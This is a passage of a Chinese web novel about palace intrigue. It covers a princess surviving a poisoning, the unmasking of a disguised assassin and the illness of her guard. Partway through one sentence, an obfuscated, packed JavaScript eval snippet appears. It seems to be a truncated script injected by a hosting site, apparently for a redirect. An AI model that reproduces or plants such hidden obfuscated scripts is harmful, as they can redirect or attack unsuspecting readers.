这个鬼昙花毒在千里撼腹中待了一天,若非她事先服了与其相克的药抵抗,恐怕玉雪倾来的再快也没用,只不过这毒血实在太恶心了,又腥又苦,像生吃了只耗子,吐完了还想吐。 她呕了许久才感到腹中那股不适感削减了一些,晃晃悠悠站起身来,想去桌上拿杯茶漱漱口。 刚走到门口,海太医便端着熬好的药推门而入。 天可怜见,她一个七十多的老太太,看到本该躺在榻上的将死之人,披头散发只着里衣站在屋内,口鼻之中还淌着黑血。 海三娘一口气提到嗓子眼儿,忍住没晕,直到缓缓转头看向那已被黑血浸泡的床褥和被千里撼拖出的满屋血迹才缓缓吐出两个字,“鬼啊……” 千里撼身子僵硬有些不听使唤,连下床都是爬下来的。见有人开门,千里撼缓缓扭过头去看向门口,出于礼貌的露出个笑容道:“你好啊。” 如果她当时眼角没淌血的话,这个画面确实不至于那么诡异。 这句话还不如不说,海三娘那提上来的一口气顿时散了,眼睛直勾勾的盯着千里撼那抹诡异的笑容,脖子一歪,嘎一声,直直倒向身后。 见状,千里撼连滚带爬过去扶住海三娘,令其不至于摔在地。 什么玩意,该晕的是她吧,这老太太怎么回事儿,来碰瓷的吗? “来人啊!太医!快传太医!”千里撼扯着脖子喊道。 下人闻声聚集在此,一见千里撼连连发出尖叫。 她若无其事扣了扣耳朵,心想,真有这么吓人吗? 而且,她真的好想喝口水。 一番骚乱过后,白帝媐匆匆赶来,见千里撼醒了,激动道:“快!快给她把衣裳换了,再把这屋子收拾了,快!” “干嘛啊,见我跟见鬼一样。”千里撼展开的双臂缓缓下落。 白帝媐捏住鼻子道:“虽然你没死我很开心,但你先离我远点儿。” “哦,假仁假义假朋友。”千里撼吐槽一番,“切”了声,便被宫人扶着去整理自己。 臧道刚提审完那八人,一无所获,恰逢其时听闻金安郡主转醒便赶去一探究竟。 鞋跟刚一粘地他便发觉不对,海太医分明对此毒束手无策,怎么不过半个时辰这金安郡主便活蹦乱跳,甚至还将毒血尽数吐出。 怎么,菩萨来过了? 屋内弥漫着浓郁的血腥味儿,熏得脑子嗡嗡作响,他用食指堵住鼻子缓缓退了出去。 皓月当空,似有薄雪倾落,宫人匆忙来回打扫着,公主也已陪郡主离开。臧道绕那间屋子走了一圈儿,屋后地上有几处青砖结冰,他皱了皱眉,顺其方向抬头一瞧,果然瓦片上有几块积雪滑落。 今夜无风,何来雪落? 看来郡主对这场“谋杀”心知肚明。 臧道心中笃定,随后拿开手指仔细闻了闻,发觉在滔天的血腥之中还有股不易察觉火药味儿。 众宾早已离开,他抹了抹鼻子刚要走,临行前又瞧见一个人。 那人立在雪中不动,时不时探头张望着什么。 18. 亲疏之月 臧道只身前往私牢,听下人描述,里头关着号厉害人物,可以一敌十,壮得像熊,极其危险。 还未入内,他便听到一阵咆哮,难以想象这是人能发出的声音。入口漆黑,里面莫名的安静,只有些窸窸窣窣声,想必里头那人已经察觉到了他的存在。 “看来所言非虚。” 臧道手举火把进入私牢,将沿途每一盏灯都点亮,点到第十三盏时刚要转头,一双猩红的双目突然降临在他面前。 隔着铁栏,他被吓得眉毛狂跳,戒备地后退半步。 借着火光,臧道终于得见真人,那人身上缠满了碗口粗的铁链,衣冠华服尽数撕裂,微微弯曲的铁栏四周有清晰的血迹,头破血流的模样无声的诉说着他的能力。 这幅模样同方才宴会上简直大相径庭,臧道歪头打量着罗凛,突然笑了,伸出手腕对比着那几根弯曲的铁栏,几乎一样粗细。 他看向喘着粗气的罗凛,脑子里只有一个想法——这家伙真的是人吗? 面对这个“不速之客”,罗凛一言不发,警惕的盯着他,猜测他的意图,判断他地攻击力,甚至已经将视线瞄准他脆弱的颈部,哪怕只剩一口牙,罗凛也有足够的自信能咬死这个人。 臧道敏锐察觉到罗凛的视线,立马举起双手,投降道:“英雄,我是好人。大大的好人。” 见罗凛没反应,臧道解释道:“我只是来问你些跟郡主有关地问题,不必惊慌。” 罗凛一听“郡主”二字,眼里的杀意瞬间转变为惊慌,忙问道:“郡主!郡主怎么样!” 提郡主果然有用,臧道暗暗松了口气,安抚道:“郡主已无大碍,只是凶手还未找到,所以我有几个问题想问你。” “郡主没事?真的没事,没事了……”罗凛喃喃自语像是信了,然而下一刻他却突然变脸,凶神恶煞的撞向铁栏嘶吼道,“我不信!我不信你!我才不信你们!你们都骗我,是骗我的!” 臧道闭上双眼默默后退两步,待罗凛情绪缓和一些,继续安抚道:“如果你乖乖回答我的问题,我可以放你去找郡主。” 罗凛猛的凑近臧道,双眼死死盯住他道:“真的?” “骗你阳痿。”臧道竖起三根指头发誓道。 “……你问吧。” “好,第一个问题,郡主可喜爱男人着女装?” 罗凛皱着眉头看向臧道,难掩嫌恶之情,但自己已然答应了他,便得好好回答,于是思索再三道:“不喜欢,没见过。” “第二个,郡主亲近之人都有谁。” “佩儿姐姐、燕儿姐姐、我。” “第三个问题,郡主可有什么相好?” 这个问题像是激怒了罗凛,他咬牙切齿道:“没有没有!你们这些讨厌的家伙,郡主才不会跟你们在一起!” “停停停,到底有没有。” 罗凛气急了,但思来想去还是坦白道:“有一个叫‘姑爷’的讨人厌的家伙。” “除此之外再没了?” “是。你好烦啊!”罗凛不耐烦道。 臧道见状再次举起双手道:“放心,我言出必行,现在就放你出来。” 他掏出钥匙利落打开牢门,此时罗凛身上还剩最后一道枷锁,像蓄势待发的野兽,死死盯着臧道。 臧道叹了口气,无奈道:“你得转过去啊,锁在后面,你一直盯着我我没法给你开锁。” 罗凛时刻警惕着,思虑良久才缓缓转过身去,就在钥匙插进锁孔的一瞬间,臧道抄起火把,瞄准穴位,猛击罗凛后脑,几乎使出了吃奶的力气。 罗凛毫无防备,僵硬着转头瞪了眼臧道便轰然倒下,脑后头发被烧断数根。 “我会说到做到,但没说要在你清醒的时候放了你啊。”,臧道甩了甩火把,终于松了口气。 他将最后一道锁打开,在地上留了几个大字,又把钥匙塞进罗凛手中才大步离开,一路上的护卫都被他清走,毕竟待会儿“野兽出笼”不知道要发什么疯。 千里撼梳洗一番,被收拾得干干净净,白帝媐见其安然无事松了口气,闲谈道:“你真是把我吓得不轻,最近得罪了什么人,竟被下毒?” “这不是常有的事么,不必大惊小怪。” “常有的事?” 白帝媐掰开手指根根细数道:“帝王之孙、当朝金安郡主、下任湘亭侯,四家之一准家主,御史台监察御史……这么多名头,的确值得一杀。” “停,可别挖苦我了,”千里撼一把堵住她的嘴道,“你再念叨就把咱俩辈分念出来了,我可不想管比自己小的人叫姑姑。” “你想叫我还愿意让你叫呢,”白帝媐贴心地替千里撼掖了掖被子道,“既然毫无头绪就歇着吧,不过你可有怀疑之人?” 千里撼转了转眼珠,滴水不漏,“那可太多了。” “真会给我找麻烦。哦,忘记告诉你,你那侍卫已经被我关押。” “侍卫?关押!” 她口中的侍卫是罗凛吧,千里撼顿时仰卧起坐道:“他不是凶手,你没对他用刑吧?” “暂时还没,不过,”白帝媐冷笑道,“为了制住他我可折了不少人,你打算怎么赔我?” 千里撼这才松了口气,闭眼解释道:“他脑子不太好,身体也受过重伤,估摸是吓到了。” 白帝媐撩起她一缕发丝捻在指尖,狐疑道:“一个侍卫,脑子不好,还受过重伤?那你留他在身边做什么。” “……我用惯了。” “不对吧,”白帝媐勾起唇角,漫不经心道,“我瞧他那身形样貌,衣着打扮,怎么着也不可能只是侍卫啊?” “行了行了,看破不说破的道理还不懂么。”千里撼懒得同她纠缠,顺着其话茬说了下去。 门外有人来报,打断二人道:“启禀公主,楚先生求见。” 白帝媐转头瞧了眼千里撼,道:“叫他进来吧。” “是。” 臧道并非只身前来,身后还跟着个小姑娘。千里撼见其身后女子,神情缓和许多,轻笑着朝她招了招手示意其过来,道:“小薇,吓坏了吧。” 小薇双目噙满泪水,小跑至千里撼床前嗔泣道:“郡主可吓死奴婢了!” “可是查到什么了?”白帝媐问道。 臧道躬身行礼,道:“回禀公主,臣已查明真相,真凶也已带来。” “什么?” 白帝媐怔愣片刻,旋即下令道:“来人,将这婢女拿下!” 千里撼见状出言阻拦,道:“公主这是何意?” 几名宫人冲进屋内一把将小薇按倒在地,其速度之快连千里撼都没反应过来,方才那只被小薇抓着地手还悬在半空。 白帝媐将那只手接过拍了拍,道:“听楚先生说说吧,他不会错的。” 千里撼从善如流,看向臧道,静待他表演。 “臣方才推测今日宴会之中仅有八人具备作案时间,作案者需得从早到晚都跟郡主待在一起,且身份低微易于伪装,具备接触郡主饮食的机会。宴会之上能做到这几点的人有很多,但就在刚刚我从海太医那儿得到了条不一样的消息。” 臧道抬头看了眼千里撼,露出一抹奇怪笑容,随后低头看向小薇,瑞凤半阖,寒光尽露,道:“太医说昙花此毒要下两次,两次之中需间隔一日,否则不足以致命。这样一来嫌疑人便只有两个了,你说对吗?” 小薇满脸不可置信,虽被宫人按着,但仍挣扎求饶,看向千里撼道:“郡主,奴婢是冤枉的!若真如他所言那为什么不怀疑罗凛,奴婢对郡主忠心耿耿,无冤无仇,又怎会下毒!更何况还是在公主府下毒!” “是啊,起先我也想不通,所以才把你忘了。不过在屋外见到你的那一刻,我突然就想通了,”臧道走到小薇身旁,一脚踩到他腰上道,“主子生死未卜,身为下人却丝毫不急。你的伪装实在不入流,叫人一眼就能看破。我问你,金安郡主究竟是何缘由,会叫一个男人扮上女装,来做自己的女使呢?” “男人?”,白帝媐皱眉看向千里撼。 千里撼同样诧异,神情严肃,难掩怒气,看着小薇一字一句道:“你是、男人!” 臧道腿上使力,下一刻小薇便发出哀号,正是男人声音。 见难逃一死,小薇双唇紧闭准备咬破舌尖,但被臧道识破,一脚踹其下巴上。他被踹得头昏脑涨,整个人偏过头去,宫人见机,利落卸了他的下巴,往其口中塞入一团布条。 白帝媐冷声下令道:“既如此,拉下去审吧。” 千里撼点了点头,附和道:“只怕他骨头硬不肯说呢。不过我知道有种刑罚能叫人生不如死,据传是源自于……” “不必,”白帝媐打断她道,“楚先生乃是鸾城酷吏楚函香之子,最擅刑训逼供,不出半柱香应该就会有结果了。” “哦。” 千里撼窝回被子,她本想出点儿损招儿,没想到白帝媐这儿竟有这样的人才,有意思。 半柱香后果然有人来报,道:“启禀公主,认罪书在此,请公主过目。” 千里撼问道:“楚先生呢?” “楚先生说自己衣着污秽不便面见二位,命小人将认罪书呈上后就去沐浴了。” 白帝媐不露声色的瞥了眼千里撼,道:“念念吧。” “是。流云,原骷爵杀手,后因骷爵覆灭被辗转贩卖至珍马行。六十七日前被一贵客拍下,后跟随其左右,被赐名流云,居住于曲江舫。四十日前男扮女装,经由兰溪轩买入府中成为婢女,再经辗转被安插于……” “够了!”,千里撼突然出声打断那人,厉声阻止道。 白帝媐秀眉一挑,歪了歪头看向千里撼,一言不发,“兰溪轩”三字一出就注定此事不会简单,她正等着看笑话呢。 千里撼默默起身,扯着唇角皮笑肉不笑的提醒白帝媐道:“公主,再查下去便是臣的家事了。” 闻言,白帝媐并不作声,只同其对视。良久,白帝媐轻笑一下,似是妥协道:“琼林所言极是,既是家事本宫自然不便插手,这人你就带走吧。” “多谢公主,”千里撼翻身下床,将认罪书收好道,“这一夜发生许多,十分叨扰,多谢公主好意。” 白帝媐坐在榻上神情淡然,似笑非笑道:“来人,备车马,送金安郡主!” “不必麻烦,我带了车马。” 说罢,头也不回地走了出去,刚巧碰上匆匆赶来的罗凛,千里撼眉头一跳,从牙缝儿中挤出几个字,道:“谁打你了!” 罗凛见千里撼完好如初,双目放光,握着她的手贴在自己脸上笑呵呵道:“没人打,我自己撞的,嘿嘿。” 千里撼顿时有些自责,咬了咬牙,深吸一口气,露出笑容道:“下次不要这样了,我们回家吧。” “好!” 二人带上半死不活的流云快步走出公主府,钻进马车。 不过片刻,马匹突然停下,发出阵阵嘶鸣。一抹熟悉身影停在车前,千里撼见状撩开帘子,神色淡淡道:“楚先生这是沐浴完了?” “正是,否则怎敢来见郡主。” 罗凛一听见臧道声音,咬牙切齿地探出头去,像要咬人。 千里撼费力地将罗凛脑袋按了回去,舒了口气道:“我想楚先生到此,并非是来叫我看新衣服的吧,有事不妨直说。” “在下有一事想不通。” “说。”< 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“哈哈哈哈哈,千里琼林,我说她怎么这么忙,原来是同弟弟斗起来了!看来这家主也不好做嘛哈哈哈哈!” 楚山孤道:“公主既已对千里家局势心中有数,何必要再来试探呢。” “臧道你不懂,这偌大的皇城之中,披着皮的鬼可多了,甚至有些鬼自己都不晓得自己是鬼。我若不试,何来世家秘辛,那些鬼又怎会自己跳出来?” 白帝媐直起身子捞过绢人娃娃摆弄几下,继续道:“况且,这是千里家的把柄,累世清白的千里家可难找这东西。” 楚山孤:“公主若要巩固实力便不可放弃千里家这块大肉,玉家刚硬、闻家无用、陈氏覆灭,如今看来最要拉拢的便是千里家。本以为是铜墙铁壁,不想竟金玉其外,如今有了把柄应物尽其用才是。” “千里家势大不假,可玉家毕竟有兵权在手,”她将绢人头上的簪子拔了下来,放在指尖,一截两段,道:“我还是想做一本万利的买卖,哪怕难啃些。” 她白家的权势是杀出来的,从太祖皇帝白虹到当今圣上白笑孔,期间肃宗、明宗、高宗、武宗哪个不是刀尖儿上舔血厮杀过来的? 亲情、爱情、人性,一切都可以当作筹码置换。白家人似乎天生冷血,纵有例外也不过昙花一现,改不掉血液中根深蒂固的残忍。 若真要怪就怪这滔天权势,怪她们生于帝王之家,除了前进就是死,没有其它选择。 楚山孤知晓白帝媐心中所想,不再劝谏转而出谋划策道:“臣听闻三皇子盘踞豫州已久,临近陛下圣诞正预备回京。若依照公主所思,三皇子此番归来意欲何为?” “白圣孺……” 这个名字许久没有听到过了,当年后位之争,三皇子生父江氏差点被白笑孔扶为帝后,成为天下第一个“男帝后”。 白家自建国以来便有“二圣临朝”之策,帝后需为朝廷元老之后抑或白家之后,此人冠帝后之名掌摄政之权,同帝王平分权力,一人治国一人理事,且自开国而来帝后一职便无男人之位。 帝后掌后宫却不属后宫,对帝王行监督之权,握凤印可代国玺,同帝王不必为夫妻。 江氏立后一事当年闹得浩浩荡荡,好在白帝媐联合诸位皇子,同先帝原定帝后——敬国夫人白湘颂和群臣联合上疏反对才将此事作罢,此后白笑孔再未提过立后之事,独揽大权,不断打压白湘颂将其架空。 此事虽闹的两败俱伤,但好在没让江氏得逞,否则白家天下便似利刃悬于颈上,终究有一日要落到他江氏父子的手中,到那时再来力挽狂澜便太晚了。 男人就像入水之毒最擅伪装,起初无色无味,乖顺温柔,实则悄悄渗进每一滴血液,等肠穿肚烂的那一刻再来作。 太初之时天地即为女人天地,后因分权予男人便因此落入男人之手,从那以后天地间纷争不断。 女人眼睁睁看着手中权力流走奋起反抗,却遭灭顶之灾,先是屠杀打压后是关门教化,如此近两千余年,以至于五浊恶世降临。 彼时天地失色,妖魔频出,世上再无白昼。 男人丢下烂摊子逃之夭夭,幸好一个女人站了出来,只身奔赴上天庭,借天地神兵,赌仙方妙法,收凶兽为其所用,带领众人驱逐妖邪,建立大魏,重夺政权,死后获天地追谥为“玄天神武大圣高皇帝。” 此人便是白家之祖——白虹。 诸般道理人人都懂,白帝媐四岁便能将这段历史倒背如流,男子窃国的道理她从小便知,可令其难以想象的是,自己无比敬佩的母皇竟有一天会犯这样低劣的错误。 信仰崩塌的同时,白帝媐心中英明神武的帝王也随之消失,取而代之的是一名糊涂老妇赖在龙椅之上,贪图权利不顾天下兴亡。 这次白圣孺归来就是一声警钟,这天下她若再不出手,便要落入贼人掌中了。 “江氏这条毒虫真是死而不僵啊,埋在土里这么些年,居然还有法子把儿子送进皇城。我看圣诞是假,想儿子是真吧。” 白帝媐讥讽道:“既然他敢回来就证明他有万全之策,我这个弟弟可聪明的很呢。” 楚山孤轻笑一下,道:“既然如此,公主何不拿他开刀?毕竟天下震荡许久,豫州同夷人接壤,三皇子在此盘踞难免受人挑唆,如此一来公主便可名正言顺立下举世之功了。” 字字金言。 白帝媐顿时双目放光,一双灰瞳似着了火,她看向楚山孤,全身鲜血翻腾。 “不愧为驺虞子,本宫有幸得尔,亦可撼天下!”白帝媐走上前去扶起楚山孤不吝赞美,随后仰头狂笑不止。 19. 人间好月长圆 马车一路疾行至相府侧门,千里撼刚下车便急急奔向屋内,一推门,瞧见玉雪倾正安慰燕儿。 见此情景,千里撼果断张开双臂,欣喜道:“我回来啦!” 燕儿一抹眼泪,转头就冲进千里撼怀中,抱着她不肯撒手,上上下下地检查着,生怕千里撼出了什么岔子。 燕儿:“郡主你总算回来了!可急死我了!” 玉雪倾一手安慰燕儿一手抓住千里撼,紧张的神色终于缓和,道:“你没事真是太好了。” “放心,一切皆在计划之中。” 燕儿:“幸好郡主没事,否则我定要将那狗屁流云扎成筛子!” “是啊,”玉雪倾拉住千里撼坐下来道,“当初琼林将计就计,说要利用流云试探公主时我就觉得惊险。今夜我若送药晚了一步,后果不堪设想。” 千里撼转头咳了几下,摇摇头道:“无妨。佩儿在外接应无法脱身,普天之下唯有玉折一人可担此任,说到底这事交给谁我都不放心。虽没证据,但我也知晓公主府难闯,好在我这罪没白遭,也算摸了清公主态度,接下来就看她怎么选了。” 玉雪倾神情严肃道:“我正要同你说这事,今夜我去送药,发觉公主府铜墙铁壁,哪怕是我,想要进入也得再三小心。其中,上至守卫下至侍女,无一庸人,皆有武艺傍身,屋内院外更是守卫森严,五步一岗十步一哨,堪称天罗地网。” “竟是这样……” 千里撼想过白帝媐府邸凶险,但没想到会是这种变态程度。 “等等,若如此,那当年五皇子之事便存疑了啊。” 玉雪倾轻轻点头,道:“我也这么想。可惜五皇子尸骨无存,死无对证了。” “可她为何要对五皇子出手呢?”,千里撼喃喃道 玉雪倾思索一番,灵光一闪道:“琼林可记得‘男后’一事?” “知道啊,白巨婴亲爹么,被埋土里都不消停,没事儿还托梦闹腾呢。” 玉雪倾:“当年,其父江氏距登顶后位只差一步,后来,公主联合群臣与敬国夫人反对,才将此事作罢。公主生父不详,虽然受宠却无人撑腰,只能自行联络朝中关系,此事无疑是最好的踏板,自此之后公主在朝中地位日渐稳固。后来五皇子之父备受宠幸,于是就发生五皇子意图弑姐一案,如此看来倒有些联系。” 千里撼点点头道:“这么说一切就都串起来了,咳咳……咳,看来白帝媐的日子也不好过啊。” 见千里撼孤身归来,玉雪倾在其身后扫视道:“琼林怎么一人归来,罗凛护卫呢?佩儿姑娘呢?” “说来话长,罗凛受伤了,我叫他回去歇息,佩儿去找大夫了。” 一道黑影从天而降,单膝触地,道:“郡主不好了,罗凛不见了。” “什么!” 千里撼脑中轰的一声,预感到什么,猛地起身跑了出去,她顾不得穿鞋,一路狂奔至马厩,冲进车内找寻罗凛踪迹无果,后又跑到罗凛屋内察看。 空中飘起大雪,阵阵冷风刮骨,燕儿追在千里撼身后,手中提着鞋子。她猛地抓住千里撼哀求道:“郡主快把鞋穿上,我去找,我和佩儿去找就好不好!” “不,不是这样的……”千里撼双眉紧皱,捂着口鼻止不住的咳嗽,不知该从何说起。 书中这段剧情是原北疆旧部找到了罗凛,如果她不阻止,罗凛很快就会恢复记忆,踏上复仇之路。 可还不到时候!若真如此,那她的一切筹划就都白废了! 况且,罗凛还有伤在身,那些旧部没几个善茬。北疆民风狂野,崇尚力量,倘若看到他们崇拜的王成了个傻子,不知会做出什么事来。 千里撼眉心一阵刺痛,她无措的看着满地白雪,竟不知该向何处去。 现实给了她一记重拳,每当她松懈时危险就会悄然而入,本以为将罗凛留在佩儿身边就会没事,可必然发生的事情哪怕再怎样迂回抵抗都无法阻止。 “琼林,你尚有余毒未清不可激动!琼林!你我还有大业未成!”,玉雪倾声嘶力竭的呼喊唤醒了她,那双手紧紧抓住千里撼。 玉雪倾总是温柔平静,鲜少变得严肃,此刻却双眉紧皱,焦躁不安。 千里撼缓缓抬头,看向玉雪倾关切的双目,满腹歉意,恍惚间,竟还萌生出一丝恐惧。如果既定事实无法改变,那么她怎么办,她们怎么办? 身体骤然失去重心,千里撼脖子一歪,倒进玉雪倾怀里。 温暖的怀抱包裹着她,玉雪倾一遍遍抚摸着千里撼的背,安抚道:“罗凛不会有事的,他有武功傍身,纵然心智不全,但只要认路总能回来。” 玉雪倾任由千里撼靠在身上,一步步将其扶回屋内,但玉雪倾不明白此事因何能让千里撼如此惊慌。 屋内炭火烧得很旺,除千里撼时不时冒出的几声咳外只剩呼吸声,玉雪倾担忧的盯着千里撼,为其裹了厚厚的衣裳,生怕一不留神她又跑出去。 雪越下越小,天快亮了,地上像铺了层银针似的。千里撼看向门外,望眼欲穿,她不清楚如果罗凛这张牌被抽走会带来何种蝴蝶效应,但也正是未知,所以恐惧。 “找到了,找到了!”,燕儿为佩儿撑着伞,还未进门就闻其声。 千里撼腾地站起来,肩上衣裳全部滑落,玉雪倾赶忙为其披上,带她出门。 罗凛被佩儿背在肩上,全身凉透了,唯有呼吸滚烫。 燕儿叫来大夫为其诊治,千里撼全程待在罗凛身旁一声不吭,悬着的心终于放下来,她仔细观察罗凛身上每一寸,生怕有何异样。 但同时,她也难免在意他的安危。 且不说罗凛是个巨强无比的外挂,就算她真的没心没肺,但好歹养了这么久,朝夕相处间难免藏了些怜爱在利用之中。 几人折腾一番天已蒙蒙亮,待罗凛发热退去,千里撼终于感到疲惫,道:“玉折,今夜辛苦你了,在我府内歇息一下再走吧。” 玉雪倾摇摇头,道:“不可,现在外头人少正是离开的好时机,咱们两家不好有牵连,我现在就走。” “也对,那我叫人套车送你。” 佩儿出声道:“郡主我去送就好。” “不行,”千里撼冷声道,“你给我把姜汤喝完。” 待送走玉雪倾,千里撼重新坐回榻边审视着罗凛,不明白他为何要无缘无故消失。 她怕他想起一切,因为还不是时候。 墨色地卷发卸去装饰后显得十分柔软,当五指穿过,总会调皮的挠一挠手心。锋利的眉眼于相较清醒时多一分乖巧,哪怕是罗凛,面对这样毫无防备的时刻也只能任人摆布。 她横看竖看,无论出自私心还是长久以来的观察,都不觉得这个人会成为那个冷血无情地北疆王。 他有血有肉,呆呆傻傻的,喜欢吃饭也很能吃饭,个子很大还有点吓人,但却喜欢鲜艳美丽的东西,怎么也不像那个被凡俗与仇恨毁掉余生的疯王。 可人生充满变数。 千里撼点了点罗凛鼻尖,呼出的热气让她有了一丝安全感,然而一抹金色突然吸引她的注意,在罗凛左侧耳垂竟平白多出一个耳洞,上头挂着黄金狼牙。 困意荡然无存,取而代之是如坠冰窟地寒冷,该来的还是来了。 可是凭什么? 罗凛是她救下来的,是她积年累月的同他相处,是她的悉心教导才让他成为现在这幅模样。 那些所谓的北疆旧部不过是无耻的利益既得者,毫无付出,却妄图抢走她的罗凛,还要嫌弃他蠢! 思及此处,千里撼猛地起身拿出一根针来,狠狠的刺进罗凛右耳。 传闻北疆信仰天狼星神,认为左耳连着心脏与狼神,因此历代北疆王都要在左耳佩戴狼牙做信物。 但那是北疆王储的传统,与罗凛无关。 千里撼将那块软肉刺个对穿,取出一对红珊瑚珠,戴在罗凛两侧耳上,至于那颗狼牙——去死吧。 她眼光不错,很衬他。千里撼满意地看着自己的杰作,做完这些终于来了困意,靠在床边沉沉睡去。 比鸡叫来的更早的是一阵叩门声,千里撼迷迷糊糊从榻上爬起道:“谁啊?” 一开门,是燕儿站在外头,见其神色古怪,她问道:“你怎么这幅表情?” 燕儿唇角抽动几下,露出个苦笑,微微侧身悄声道:“郡主,我忘记跟您说了,准姑爷昨日就到了。” “什么?” 千里撼不敢相信自己的耳朵听到了什么,意思是说她们昨夜密谋时,四家之一的闻家十三子就在隔壁睡觉?并且在苦等她一夜无果后还亲自来堵她的门,甚至还在大清早看到她没宿在自己屋内,而是和她的侍卫共处一室? 完了,一世英名全毁了,他若是回头跟闻家一哭闻家不会退婚吧? 等等,好像也不会,因为闻武不受闻老头儿待见。 呵呵,死老头儿,她早晚把他胡子全拔了,叫他欺负人。 不过这婚是陛下赐婚,退是肯定退不掉的,虽然她还没有把闻武的名字写上去,但天知地知,他逃不掉的! 桀桀桀桀桀! 千里撼突然发出反派笑声,经由燕儿提醒才擦去唇角口水,她回头看了眼屋内,罗凛还没醒,随后关上门理了理衣裳,越过燕儿看向那摸紫色身影。 临近年关,又至深冬,他看起来还是那样单薄,闻府连给他做件衣裳的钱都没有吗? 千里撼叹了口气,直直朝撑伞人走了过去,脱下衣裳披在闻武肩头道:“这么冷的天,为什么不多穿些?” 闻武紫瞳在衣裳与千里撼之间流转一番,又瞧了眼那间屋子,最后轻笑一下,道:“闻武见过郡主。” 见闻武不接茬儿千里撼以为他不耐烦了,挠挠头解释道:“你别嫌弃,我这衣裳虽穿了一日但暖和着呢!” 闻武抓了抓肩上的衣服,并不说话,只是将伞往千里撼头顶偏了偏。 千里撼明白闻武意思,无论她做了什么,闻武这个行为都代表纵容。见此,千里撼无声笑道:“别在这儿傻站着了,会着凉的,我们快进屋吧。” 说罢,抓着他撑伞的手腕离开了。 他们之间总有总浑然天成的默契,像认识许久般,两人彼此相见时都有这种感觉,所以行为总是不管不顾,殊不知这在外人眼里就是“亲密无间”。 燕儿起初还在为千里撼提心吊胆,见此情景顿时两眼放光,腰也不疼了腿也不酸了,整天就知道看着她俩捂唇偷笑,甚至还拉着佩儿一起笑。 她就说嘛,郡主能看上的人他必定得秀外慧中,谦逊大度! 千里撼将闻武拉到屋内,又是命人给炭盆加炭,又是叫人灌汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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似是没想到千里撼会这般痛快,闻武明显一愣,绽放出如花笑容,带着孩童的天真。 千里撼看着这个笑顿时感到被圣光普照,什么狗屁羞耻心都去死吧! 对于闻武,她心中留着一个可能,他是她在权衡利弊后于世俗和内心两者合一的完美选择,所以她珍重他。 千里撼纵然为千里撼,但并非无心之人,哪怕闻武只是转换剧情的一个闸门她也会尽力补偿他,对他好,养他一世,给他她心中最贵重的东西——尊重。 今日初见时,千里撼做好了被刁难的准备,也做好了接受闻武小脾气的准备,毕竟无论在世俗还是理法中他都有这个资格。 但他没有,只一昧靠近,仿佛在向千里撼宣告自己也给她留了一个同样的可能。 临近年关,千里逢也开始往回赶,闻武每日都去为千里冰封医治腿疾病,偶尔为千里撼施针排毒。 千里撼起初以为这只是个托词,却没想到他真的尽心尽力,如今千里冰封已经能依靠拐杖短暂行走。 这段日子里罗凛始终没醒,千里撼找了许多名医来瞧也只是说他是急火攻心陷入昏迷,可在此期间他地身体一次又一次的发热,像是不祥之兆。 后来闻武接下了治疗罗凛的任务,可纵然是他,也医不好不愿醒来的人。千里撼每次去看罗凛时都会发现他在梦中惊颤,像做了无数个噩梦。 这种反应她很了解,因为她也曾经历过同样的事情。无奈之下,千里撼只能日日在罗凛床前讲故事,从白雪公主讲到一千零一夜,从伊索寓言讲到聊斋志异,就这么一直到了腊月二十八。 一连串的鞭炮声响起,罗凛躺这么久整个人瘦了一圈儿,千里撼甚至特地提了一串鞭炮去罗凛屋内放,只可惜依旧没叫醒他。 千里逢不喜热闹,更不愿同千里撼相处,每年只在初一时走个过场向千里冰封拜年便罢了。 祖孙三人间气氛诡异,千里冰封面对千里逢时总像有心事,但千里撼明白,姥姥之所以这样是因为记得当年千里逢那碗差点要了她命的毒粥。祖孙一场,哪怕再不牵连也会心生芥蒂,虽将一切根结归咎于娄氏,但人这东西总是复杂的。 不过这样更好,千里冰封跟千里撼一起过年,两人其乐融融,闻武也不必回去闻家,年前千里撼命人给闻武做了十几件新衣足够他穿一整个冬天的。 闻武同千里冰封相处的很好,两人意外的很合拍,千里逢还请裁缝来家中给罗凛量尺寸做了几身新衣裳,顺便给自己和燕儿佩儿都做了几身,图个喜气。 深冬之中,刺骨的寒夜里,似乎只有一家人依偎在一起才有些许温暖。 各式各样的花灯点了起来,屋内也贴满装饰,睡了许久的罗凛似是睡够了,终于在这天睁开双眼。 只是那双眼睛和从前有些许不同,多了点淡漠,少了点天真。 “你醒了?” 大门突然敞开,刺眼的光芒打进来,罗凛本能地捂住双眼,只得透过指缝看向门口那人。 熟悉的身影将他包裹,千里撼欣喜若狂,捂住罗凛肩膀激动道:“你真的醒了!” 他看着千里撼,欣然接受这被阳光普照的感觉,点点头微笑道:“嗯,我醒了。” 20. 奇怪的番外 “欢迎来到童话异世界,此处是区别于《困雪晴》的另一平行世界,各位玩家请注意,若想逃离此处,必须完成任务。” “就密室逃脱呗,还异世界。”千里撼揉揉眼睛毫不留情的拆台道。 她一睁眼就出现在这片草地上,身上还穿着奇怪的衣裳,像是某种西方服饰。 “这你别管,”那道诡异的声音清了清嗓解释道,“从现在开始你要进行闯关,请掷骰子选择你的故事。” 千里撼:“停,我说要接了吗?” 一道炸雷顿时劈在千里撼脚边,将大片草地烧焦。 “来来来骰子在哪?” 正所谓识时务者为俊杰,不识时务者过清明节,千里撼当即接受了这个诡异的任务。 一个二十四面的骰子凭空出现旋转起来,看着那个骰子千里撼不禁问道:“你家骰子二十四面啊?” 又一道雷落在她脚边。 “OKOK,我闭麦。”千里撼默默点头比了个缝住嘴巴的动作。 “你的选择是,十一,”一阵电流声伴随着诡异的声音发布任务道,“欢迎来到《阿里巴巴与四十大盗》,你的任务是夺取宝藏,游戏开始。” “等等!” 千里撼打断声音举手道:“那么请问我是谁呢?” “这也是游戏任务之一。好了快启程吧,你的第一个任务是遇见四十大盗。” 无奈之下千里撼只能按照声音说的做,她幼时曾听过这个故事,但因年代过于久远,所以对这个故事的印象就只剩“芝麻开门”四个字了。 她拿着一张破地图向东找去,沿途路过了一条臭水沟。 千里撼扭头就走看都没看,但背后却默默升起一个声音,“年轻的#?%@#哦~你掉的是这柄金斧头还是这柄银斧头啊?” “你等会儿,”千里撼回头朝那个不明生物走过去问道,“你刚才叫我什么?” “呃,#?%@呀~” 